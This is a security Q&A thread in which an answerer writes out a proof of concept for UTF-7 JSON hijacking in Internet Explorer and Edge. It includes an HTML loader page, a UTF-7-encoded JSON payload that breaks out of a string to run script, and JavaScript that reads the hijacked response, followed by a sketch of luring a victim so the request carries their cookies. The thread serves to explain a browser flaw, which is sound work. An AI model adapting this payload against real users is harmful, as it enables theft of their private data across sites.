0

After some research, I saw an answer on StackOverflow saying that it's still possible to perform a UTF-7 JSON hijack using Microsoft IE and Edge browsers. If yes how can it be done? I really need an explanation about this or a working proof of concept.

  • 1
    It would help if you referenced the actual question you are talking about. If you mean this question: stackoverflow.com/questions/16289894/… then the accepted answer has a PoC. – schroeder Apr 21 '16 at 4:11
  • @schroeder I think the OP is talking about UTF-7 XSS: security.stackexchange.com/questions/47489/…, since he mentioned UTF-7. The link you found is about JSON hijacking by modifying prototypes. – Franklin Yu Oct 1 '16 at 3:41
  • @FranklinYu but that question is not on StackOverflow ... – schroeder Oct 1 '16 at 6:31
  • @schroeder Yes, I didn't mean that the question I linked was the one OP encountered. I meant he might be searching for such a topic. I can't find anything about the topic on StackOverflow, and I think OP might benefit reading the Q&A. Anyway, who knows, OP hasn't shown up since August. – Franklin Yu Oct 1 '16 at 17:35
3

I assume you're referring to this comment, "Microsofts IE and Edge are still vulnerable to the UTF-7 JSON Hijacking though."

Following the instructions from this 2011 blog post on JSON Hijacking, I reproduced the problem with Microsoft Edge 20 and IE11.

Create an HTML file like this:

<html>
<body>
<script src="x.json" charset="UTF-7"></script>

And an x.json file like this:

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]

In the UTF-7 encoding, that apparently decodes to:

[{'friend':'luke','email':''}];alert(‘May the force be with you’);[{'job':'done'}]

And then, given the power to execute JavaScript in the context of the response, you can write more/other evil code, e.g. code to read the rest of the response. For example:

[{'friend':'luke','email':''}, 1].sort(function(x,y) {
for (var o in x) {
alert(o + “:” + x[o]);
}
});
setTimeout(function() {
var x = data[0];
for (var o in x) {
alert(o + “:” + x[o]);
}
}, 100);var data=[{'job':'done'}];

Read the blog post for more details about the implications of this, but the idea is that you'd get a user to open a page on your site, make this script request (which would use the victim's cookie credentials), and then JSON hijack it to read a partial list of the user's friends.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.